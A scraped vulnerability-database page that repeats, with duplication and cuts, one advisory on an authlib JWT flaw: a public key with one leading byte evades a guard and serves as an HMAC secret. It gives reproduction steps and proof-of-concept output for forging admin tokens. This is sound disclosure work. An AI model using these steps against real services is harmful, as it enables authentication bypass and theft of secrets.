any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "authlib",
"resource_purl": "pkg:pypi/authlib@1.9.1",
"upstream_fixed_in": "1.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "oterm",
"purl": "pkg:brew/oterm"
},
"ranges": [
{
"events": [
{
"introduced": "0.14.0"
},
{
"fixed": "0.26.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/authlib@1.9.1",
"name": "authlib",
"resource": "authlib",
"strategy": "registry",
"subject_version": "1.9.1"
}
]
},
"details": "## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` \u2014 anchored at\nbyte 0 \u2014 while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** \u2014 a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line \u2014 is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer\u0027s public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory\u0027s fix is exactly\nthis guard (`git log -S \u0027POSSIBLE_UNSAFE_KEYS\u0027 -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n is built at `authlib/jose/__init__.py:55-72` with the full list\n `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n documented object has no way to narrow it. This is the first code sample in\n `docs/jose/jwt.rst:21-31`.\n\n This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n **not** that the mixed list exists \u2014 it is that the `oct_key.py:81` backstop shipped for precisely\n that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n * one leading newline \u2014 what a triple-quoted Python literal produces\n * one leading space\n * four-space indentation \u2014 an indented YAML/JSON/TOML config block\n * a UTF-8 BOM \u2014 a Windows-editor artifact\n * a leading comment line\n * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM\n\n A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n verification through this path, so I exclude it as a non-deployable configuration and mention it\n only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n b\"-----BEGIN \",\n b\"---- BEGIN \",\n b\"ssh-rsa \",\n b\"ssh-dss \",\n b\"ssh-ed25519 \",\n b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` \u2014 `HMACAlgorithm.prepare_key(raw_data)` returns\n `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` \u2014 `JsonWebToken.decode(self, s, key, claims_cls=None,\n claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n only against the instance\u0027s list.\n* `authlib/jose/__init__.py:55-72` \u2014 that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer\u0027s RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]\nalgs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user -\u003e (403, \u0027{\"error\":\"not admin\",\"sub\":\"alice\"}\u0027)\n[baseline 2] genuine RS256 token, role=admin -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}\u0027)\n[CONTROL 1 ] payload tampered, RS256 sig kept -\u003e (401, \u0027{\"error\":\"BadSignatureError: bad_signature: \"}\u0027)\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken([\u0027RS256\u0027]) vs forged token -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {\u0027alg\u0027: \u0027HS256\u0027, \u0027typ\u0027: \u0027JWT\u0027}\n[ATTACK ] HS256 forged with the PUBLIC key -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}\u0027)\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError\n indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin\n [CONTROL C] JsonWebToken([\u0027RS256\u0027]).decode(forged HS256) -\u003e REJECTED:UnsupportedAlgorithmError\n\n### EC-P256/ES256\n identical results for all seven rows\n\nSame five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.\n```\n\n### Steps to reproduce\n\n1. `pip install authlib==1.8.0 cryptography flask requests`\n2. Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline\n (or indent it, or prepend a BOM or a comment line).\n3. Confirm `authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYS` does not match those bytes with\n `startswith`, while `cryptography.hazmat.primitives.serialization.load_pem_public_key` loads them.\n4. `from authlib.jose import jwt` then\n `tok = jwt.encode({\"alg\":\"HS256\"}, {\"sub\":\"attacker\",\"role\":\"admin\"}, mutated_pem)`\n5. `jwt.decode(tok, mutated_pem)` \u2014 verification succeeds and the claims are returned.\n\n## Impact\n\nCryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm\nconfusion). An unauthenticated attacker who knows only the issuer\u0027s public verification key \u2014 public by\ndefinition, normally served at `/.well-known/jwks.json` or in IdP metadata \u2014 forges tokens with\narbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP\n200 and the application\u0027s admin secrets for `sub=attacker`.\n\nAuthlib had **103,356,930** PyPI downloads in the last month (pypistats `/api/packages/authlib/recent`,\nread 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented\nfootgun it backstops.\n\nTwo notes for triage, in the interest of completeness:\n\n* `authlib.jose` emits `AuthlibDeprecationWarning` (\"please use joserfc instead. It will be compatible\n before version 2.0.0\"). It is deprecated but still shipped, still documented in `docs/jose/jwt.rst`,\n and still carries the download volume above.\n* **joserfc is not affected by this mechanism.** 1.7.5 was checked: keys carry an explicit `kty` in the\n data model, so `jwt.decode` with an `RSAKey`/`ECKey` and `alg=HS256` raises `InvalidKeyTypeError` for\n every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what\n makes the class unrepresentable there.\n\n## Suggested remediation\n\nEither of these closes the class rather than one more byte form:\n\n1. Decide key family by **type, not by bytes**. Attempt `load_pem_public_key` /\n `load_pem_x509_certificate` / `load_ssh_public_key` / `load_der_public_key` on the candidate and\n reject it as an `oct` key if any of them succeeds. This is the approach that makes joserfc immune and\n it cannot drift out of step with the loader, because it *is* the loader.\n2. If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check\n (`any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)`) and add the `-----BEGIN CERTIFICATE-----` and\n DER `SubjectPublicKeyInfo` cases. This is strictly weaker than (1): the recogniser can drift again\n the next time `cryptography` becomes more tolerant.\n\nSeparately, and independent of this report: giving `JsonWebToken.decode` an `algorithms=` parameter\nwould let callers of the documented module-level object apply the mitigation the docs recommend without\nconstructing a second `JsonWebToken`.\n\n## Credit\n\nFound by zer0d4y5. Happy to test a patch branch before release.",
"id": "BREW-oterm-CVE-2026-114615",
"modified": "2026-10-29T21:42:43Z",
"published": "2026-10-29T21:42:43Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/security/advisories/GHSA-7vr2-2fgp-9w7p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-114615"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/pull/945"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/commit/e3bd41cb29dcfee434453b135ffb487884baeedf"
},
{
"type": "PACKAGE",
"url": "https://github.com/authlib/authlib"
},
{
"type": "WEB",
"url": "https://github.com/authlib/authlib/releases/tag/v1.9.0"
}
],
"schema_version": "1.7.3",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Authlib incomplete algorithm-confusion fix permits HMAC forgery with prefixed public keys",
"upstream": [
"GHSA-7vr2-2fgp-9w7p",
"CVE-2026-114615"
]
}
BREW-SAFETY-CVE-2026-114615 (GHSA-7VR2-2FGP-9W7P)
Vulnerability from osv_homebrew – Published: 2026-10-29 21:42 – Updated: 2026-10-29 21:42 – Source websiteSummary
OctKey.import_key() carries the only guard that stops an asymmetric public key from being used as an
HMAC secret in authlib.jose. That guard is raw_key.startswith(POSSIBLE_UNSAFE_KEYS) — anchored at
byte 0 — while the loader that consumes the identical bytes on the asymmetric path
(cryptography.hazmat.primitives.serialization.load_pem_public_key / load_pem_x509_certificate)
skips anything before the -----BEGIN line. A PEM public key or X.509 certificate carrying one
leading byte — a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line — is
therefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the
issuer's public key then mints an HS256 token with arbitrary claims that jwt.decode() accepts as
authentic.
This is an incomplete fix of CVE-2024-37568 / GHSA-5357-c2jx-v7qh. That advisory's fix is exactly
this guard (git log -S 'POSSIBLE_UNSAFE_KEYS' -- authlib/jose/rfc7518/oct_key.py returns a single
commit, 3bea812 "fix: prevent OctKey to import ssh/rsa/pem keys", referencing issue #654), and the
original attack works again unchanged whenever the stored PEM does not start at offset 0.
Reproduced end-to-end on 1.8.0, the newest release (published 2026-08-30), and on origin/main
(c529a61), with cryptography 50.0.2.
Preconditions
Both are deployment properties; neither is attacker-controlled at request time, and the attacker needs no secret and no user interaction.
- The relying party uses the documented module-level
jwtobject.from authlib.jose import jwtis built atauthlib/jose/__init__.py:55-72with the full list["HS256","HS384","HS512","RS256",...,"EdDSA"], andJsonWebToken.decode(authlib/jose/rfc7519/jwt.py:80) exposes noalgorithmsparameter, so a caller of the documented object has no way to narrow it. This is the first code sample indocs/jose/jwt.rst:21-31.
This hazard is already documented: docs/jose/jwt.rst:73-79 says
"This decoding method is insecure. By default jwt.decode parses the alg header. This allows
symmetric macs and asymmetric signatures.", and docs/jose/jwt.rst:94-98 says "You should never
combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes." The point of this report is
not that the mixed list exists — it is that the oct_key.py:81 backstop shipped for precisely
that documented hazard does not hold.
- The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with
-----BEGIN. Each of the following forms was confirmed to forge, and each also still verifies a genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken: - one leading newline — what a triple-quoted Python literal produces
- one leading space
- four-space indentation — an indented YAML/JSON/TOML config block
- a UTF-8 BOM — a Windows-editor artifact
- a leading comment line
- all of the above applied to an X.509
CERTIFICATEPEM instead of aPUBLIC KEYPEM
A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric verification through this path, so I exclude it as a non-deployable configuration and mention it only as further evidence of the recogniser/loader gap.
Details
authlib/jose/rfc7518/oct_key.py:10-17
POSSIBLE_UNSAFE_KEYS = (
b"-----BEGIN ",
b"---- BEGIN ",
b"ssh-rsa ",
b"ssh-dss ",
b"ssh-ed25519 ",
b"ecdsa-sha2-",
)
authlib/jose/rfc7518/oct_key.py:78-84
raw_key = to_bytes(raw)
# security check
if raw_key.startswith(POSSIBLE_UNSAFE_KEYS):
raise ValueError("This key may not be safe to import")
key = cls(raw_key=raw_key, options=options)
bytes.startswith is anchored. The loader on the asymmetric path is not:
authlib/jose/rfc7517/_cryptography_key.py:22-29 calls load_pem_public_key /
load_pem_x509_certificate, both of which scan forward for the armour header. So the set of byte
strings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference
is exploitable.
Reach, for a caller of the documented object:
authlib/jose/rfc7518/jws_algs.py:59—HMACAlgorithm.prepare_key(raw_data)returnsOctKey.import_key(raw_data); this is the whole of the HMAC key handling.authlib/jose/rfc7519/jwt.py:80—JsonWebToken.decode(self, s, key, claims_cls=None, claims_options=None, claims_params=None); the algorithm comes from the token header and is checked only against the instance's list.authlib/jose/__init__.py:55-72— that list contains both HS* and RS*/ES*/PS*/EdDSA.
So oct_key.py:81 is the only thing between a mixed allow-list and using the public key as an HMAC
secret, and it is bypassed by a single leading byte.
PoC
poc-authlib-e2e-http.py stands up a Flask API whose only authentication is the documented
jwt.decode(token, PUBLIC_KEY), where PUBLIC_KEY is the issuer's RSA public key embedded as a
triple-quoted Python literal (hence one leading newline). The attacker is given only that public
key.
authlib=1.8.0 cryptography=50.0.2 flask=3.1.3
guard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)
call = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]
algs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])
[baseline 1] genuine RS256 token, role=user -> (403, '{"error":"not admin","sub":"alice"}')
[baseline 2] genuine RS256 token, role=admin -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"root"}')
[CONTROL 1 ] payload tampered, RS256 sig kept -> (401, '{"error":"BadSignatureError: bad_signature: "}')
[CONTROL 2 ] HS256 forged with CANONICAL pubkey -> BLOCKED at key import: ValueError: This key may not be safe to import
[CONTROL 3 ] JsonWebToken(['RS256']) vs forged token -> REJECTED: UnsupportedAlgorithmError
ATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.
forged token header: {'alg': 'HS256', 'typ': 'JWT'}
[ATTACK ] HS256 forged with the PUBLIC key -> (200, '{"data":"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef","ok":true,"sub":"attacker"}')
The three controls establish that the guard does work on a canonical PEM (so the leading byte is load-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an effective mitigation.
Per-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds on the exact same bytes:
### RSA-2048/RS256
canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError
indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin
DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin
[CONTROL C] JsonWebToken(['RS256']).decode(forged HS256) -> REJECTED:UnsupportedAlgorithmError
### EC-P256/ES256
identical results for all seven rows
Same five leading-byte forms applied to an X.509 CERTIFICATE PEM: also FORGED, RS256-verify=OK.
Steps to reproduce
pip install authlib==1.8.0 cryptography flask requests- Generate an RSA-2048 keypair; serialise the public key to PEM and prepend a single newline (or indent it, or prepend a BOM or a comment line).
- Confirm
authlib.jose.rfc7518.oct_key.POSSIBLE_UNSAFE_KEYSdoes not match those bytes withstartswith, whilecryptography.hazmat.primitives.serialization.load_pem_public_keyloads them. from authlib.jose import jwtthentok = jwt.encode({"alg":"HS256"}, {"sub":"attacker","role":"admin"}, mutated_pem)jwt.decode(tok, mutated_pem)— verification succeeds and the claims are returned.
Impact
Cryptographic signature-verification bypass leading to authentication bypass (CWE-347, algorithm
confusion). An unauthenticated attacker who knows only the issuer's public verification key — public by
definition, normally served at /.well-known/jwks.json or in IdP metadata — forges tokens with
arbitrary claims, including administrative roles and arbitrary subjects. In the PoC this yields an HTTP
200 and the application's admin secrets for sub=attacker.
Authlib had 103,356,930 PyPI downloads in the last month (pypistats /api/packages/authlib/recent,
read 2026-10-01), which is why I am reporting a bypass of a guard rather than only the documented
footgun it backstops.
Two notes for triage, in the interest of completeness:
authlib.joseemitsAuthlibDeprecationWarning("please use joserfc instead. It will be compatible before version 2.0.0"). It is deprecated but still shipped, still documented indocs/jose/jwt.rst, and still carries the download volume above.- joserfc is not affected by this mechanism. 1.7.5 was checked: keys carry an explicit
ktyin the data model, sojwt.decodewith anRSAKey/ECKeyandalg=HS256raisesInvalidKeyTypeErrorfor every one of the seven loader-accepted forms. Typing the key rather than inspecting its bytes is what makes the class unrepresentable there.
Suggested remediation
Either of these closes the class rather than one more byte form:
- Decide key family by type, not by bytes. Attempt
load_pem_public_key/load_pem_x509_certificate/load_ssh_public_key/load_der_public_keyon the candidate and reject it as anoctkey if any of them succeeds. This is the approach that makes joserfc immune and it cannot drift out of step with the loader, because it is the loader. - If a cheap recogniser must be kept, make it a substring scan rather than an anchored prefix check
(
any(m in raw_key for m in POSSIBLE_UNSAFE_KEYS)) and add the-----BEGIN CERTIFICATE-----and DERSubjectPublicKeyInfocases. This is strictly weaker than (1): the recogniser can drift again the next timecryptographybecomes more tolerant.
Separately, and independent of this report: giving JsonWebToken.decode an algorithms= parameter
would let callers of the documented module-level object apply the mitigation the docs recommend without
constructing a second JsonWebToken.
Credit
Found by zer0d4y5. Happy to test a patch branch before release.
| URL | Type | |||||||||||||||||||
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
|
||||||||||||||||||||
{
"affected": [
{
"ecosystem_specific": {
"fix": "bump",
"range_state": "fixed",
"resource": "authlib",
"resource_purl": "pkg:pypi/authlib@1.9.1",
"upstream_fixed_in": "1.9.0"
},
"package": {
"ecosystem": "Homebrew",
"name": "safety",
"purl": "pkg:brew/safety"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.4"
},
{
"fixed": "3.8.1_3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"database_specific": {
"confidence": "high",
"source": "matched",
"strategy": "registry",
"upstream_evidence": [
{
"ecosystem": "PyPI",
"key": "pkg:pypi/authlib@1.9.1",
"name": "authlib",
"resource": "authlib",
"strategy": "registry",
"subject_version": "1.9.1"
}
]
},
"details": "## Summary\n\n`OctKey.import_key()` carries the only guard that stops an asymmetric public key from being used as an\nHMAC secret in `authlib.jose`. That guard is `raw_key.startswith(POSSIBLE_UNSAFE_KEYS)` \u2014 anchored at\nbyte 0 \u2014 while the loader that consumes the identical bytes on the asymmetric path\n(`cryptography.hazmat.primitives.serialization.load_pem_public_key` / `load_pem_x509_certificate`)\nskips anything before the `-----BEGIN` line. A PEM public key or X.509 certificate carrying **one\nleading byte** \u2014 a newline, a space, four spaces of indentation, a UTF-8 BOM, or a comment line \u2014 is\ntherefore not recognised, falls through, and becomes the HMAC secret. An attacker holding only the\nissuer\u0027s public key then mints an `HS256` token with arbitrary claims that `jwt.decode()` accepts as\nauthentic.\n\nThis is an incomplete fix of **CVE-2024-37568 / GHSA-5357-c2jx-v7qh**. That advisory\u0027s fix is exactly\nthis guard (`git log -S \u0027POSSIBLE_UNSAFE_KEYS\u0027 -- authlib/jose/rfc7518/oct_key.py` returns a single\ncommit, `3bea812` \"fix: prevent OctKey to import ssh/rsa/pem keys\", referencing issue #654), and the\noriginal attack works again unchanged whenever the stored PEM does not start at offset 0.\n\nReproduced end-to-end on **1.8.0**, the newest release (published 2026-08-30), and on `origin/main`\n(`c529a61`), with `cryptography` 50.0.2.\n\n## Preconditions\n\nBoth are deployment properties; neither is attacker-controlled at request time, and the attacker needs\nno secret and no user interaction.\n\n1. **The relying party uses the documented module-level `jwt` object.** `from authlib.jose import jwt`\n is built at `authlib/jose/__init__.py:55-72` with the full list\n `[\"HS256\",\"HS384\",\"HS512\",\"RS256\",...,\"EdDSA\"]`, and `JsonWebToken.decode`\n (`authlib/jose/rfc7519/jwt.py:80`) exposes **no `algorithms` parameter**, so a caller of the\n documented object has no way to narrow it. This is the first code sample in\n `docs/jose/jwt.rst:21-31`.\n\n This hazard is already documented: `docs/jose/jwt.rst:73-79` says\n \"This decoding method is insecure. By default `jwt.decode` parses the alg header. This allows\n symmetric macs and asymmetric signatures.\", and `docs/jose/jwt.rst:94-98` says \"You should never\n combine symmetric (HS) and asymmetric (RS, ES, PS) signature schemes.\" The point of this report is\n **not** that the mixed list exists \u2014 it is that the `oct_key.py:81` backstop shipped for precisely\n that documented hazard does not hold.\n\n2. **The verification key is passed as PEM/certificate text whose bytes do not begin at offset 0 with\n `-----BEGIN `.** Each of the following forms was confirmed to forge, and each also still verifies a\n genuine RS256/ES256 token with the identical bytes, so nothing in the deployment looks broken:\n * one leading newline \u2014 what a triple-quoted Python literal produces\n * one leading space\n * four-space indentation \u2014 an indented YAML/JSON/TOML config block\n * a UTF-8 BOM \u2014 a Windows-editor artifact\n * a leading comment line\n * all of the above applied to an X.509 `CERTIFICATE` PEM instead of a `PUBLIC KEY` PEM\n\n A raw DER SPKI blob also bypasses the guard, but DER cannot be used for genuine asymmetric\n verification through this path, so I exclude it as a non-deployable configuration and mention it\n only as further evidence of the recogniser/loader gap.\n\n## Details\n\n`authlib/jose/rfc7518/oct_key.py:10-17`\n\n```python\nPOSSIBLE_UNSAFE_KEYS = (\n b\"-----BEGIN \",\n b\"---- BEGIN \",\n b\"ssh-rsa \",\n b\"ssh-dss \",\n b\"ssh-ed25519 \",\n b\"ecdsa-sha2-\",\n)\n```\n\n`authlib/jose/rfc7518/oct_key.py:78-84`\n\n```python\nraw_key = to_bytes(raw)\n\n# security check\nif raw_key.startswith(POSSIBLE_UNSAFE_KEYS):\n raise ValueError(\"This key may not be safe to import\")\n\nkey = cls(raw_key=raw_key, options=options)\n```\n\n`bytes.startswith` is anchored. The loader on the asymmetric path is not:\n`authlib/jose/rfc7517/_cryptography_key.py:22-29` calls `load_pem_public_key` /\n`load_pem_x509_certificate`, both of which scan forward for the armour header. So the set of byte\nstrings the recogniser rejects is strictly smaller than the set the loader accepts, and the difference\nis exploitable.\n\nReach, for a caller of the documented object:\n\n* `authlib/jose/rfc7518/jws_algs.py:59` \u2014 `HMACAlgorithm.prepare_key(raw_data)` returns\n `OctKey.import_key(raw_data)`; this is the whole of the HMAC key handling.\n* `authlib/jose/rfc7519/jwt.py:80` \u2014 `JsonWebToken.decode(self, s, key, claims_cls=None,\n claims_options=None, claims_params=None)`; the algorithm comes from the token header and is checked\n only against the instance\u0027s list.\n* `authlib/jose/__init__.py:55-72` \u2014 that list contains both HS\\* and RS\\*/ES\\*/PS\\*/EdDSA.\n\nSo `oct_key.py:81` is the only thing between a mixed allow-list and using the public key as an HMAC\nsecret, and it is bypassed by a single leading byte.\n\n## PoC\n\n`poc-authlib-e2e-http.py` stands up a Flask API whose only authentication is the documented\n`jwt.decode(token, PUBLIC_KEY)`, where `PUBLIC_KEY` is the issuer\u0027s RSA public key embedded as a\ntriple-quoted Python literal (hence one leading newline). The attacker is given **only** that public\nkey.\n\n```\nauthlib=1.8.0 cryptography=50.0.2 flask=3.1.3\nguard = authlib/jose/rfc7518/oct_key.py:81 raw_key.startswith(POSSIBLE_UNSAFE_KEYS)\ncall = authlib/jose/rfc7519/jwt.py:80 JsonWebToken.decode(s, key) [no `algorithms` param]\nalgs = authlib/jose/__init__.py:55+ module-level jwt = JsonWebToken([HS256..RS256..ES256..])\n\n[baseline 1] genuine RS256 token, role=user -\u003e (403, \u0027{\"error\":\"not admin\",\"sub\":\"alice\"}\u0027)\n[baseline 2] genuine RS256 token, role=admin -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"root\"}\u0027)\n[CONTROL 1 ] payload tampered, RS256 sig kept -\u003e (401, \u0027{\"error\":\"BadSignatureError: bad_signature: \"}\u0027)\n[CONTROL 2 ] HS256 forged with CANONICAL pubkey -\u003e BLOCKED at key import: ValueError: This key may not be safe to import\n[CONTROL 3 ] JsonWebToken([\u0027RS256\u0027]) vs forged token -\u003e REJECTED: UnsupportedAlgorithmError\n\nATTACKER INPUT: only IDP_PUB_CANONICAL (public by definition), no private key.\nforged token header: {\u0027alg\u0027: \u0027HS256\u0027, \u0027typ\u0027: \u0027JWT\u0027}\n[ATTACK ] HS256 forged with the PUBLIC key -\u003e (200, \u0027{\"data\":\"DB_ROOT_PASSWORD=hunter2; STRIPE_SK=sk_live_deadbeef\",\"ok\":true,\"sub\":\"attacker\"}\u0027)\n```\n\nThe three controls establish that the guard does work on a canonical PEM (so the leading byte is\nload-bearing), that ordinary signature verification is intact, and that pinning the algorithm is an\neffective mitigation.\n\nPer-form matrix, both key types, with a control proving genuine asymmetric verification still succeeds\non the exact same bytes:\n\n```\n### RSA-2048/RS256\n canonical PEM (CONTROL A) loader=load_pem_public_key startswith_guard=True RS/ES-verify=OK BLOCKED:ValueError\n indented PEM (4 spaces) loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n UTF-8 BOM prefix loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading comment line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading blank line loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n leading single space loader=load_pem_public_key startswith_guard=False RS/ES-verify=OK FORGED sub=superadmin role=admin\n DER (SPKI) bytes loader=load_der_public_key startswith_guard=False RS/ES-verify=FAIL FORGED sub=superadmin role=admin\n 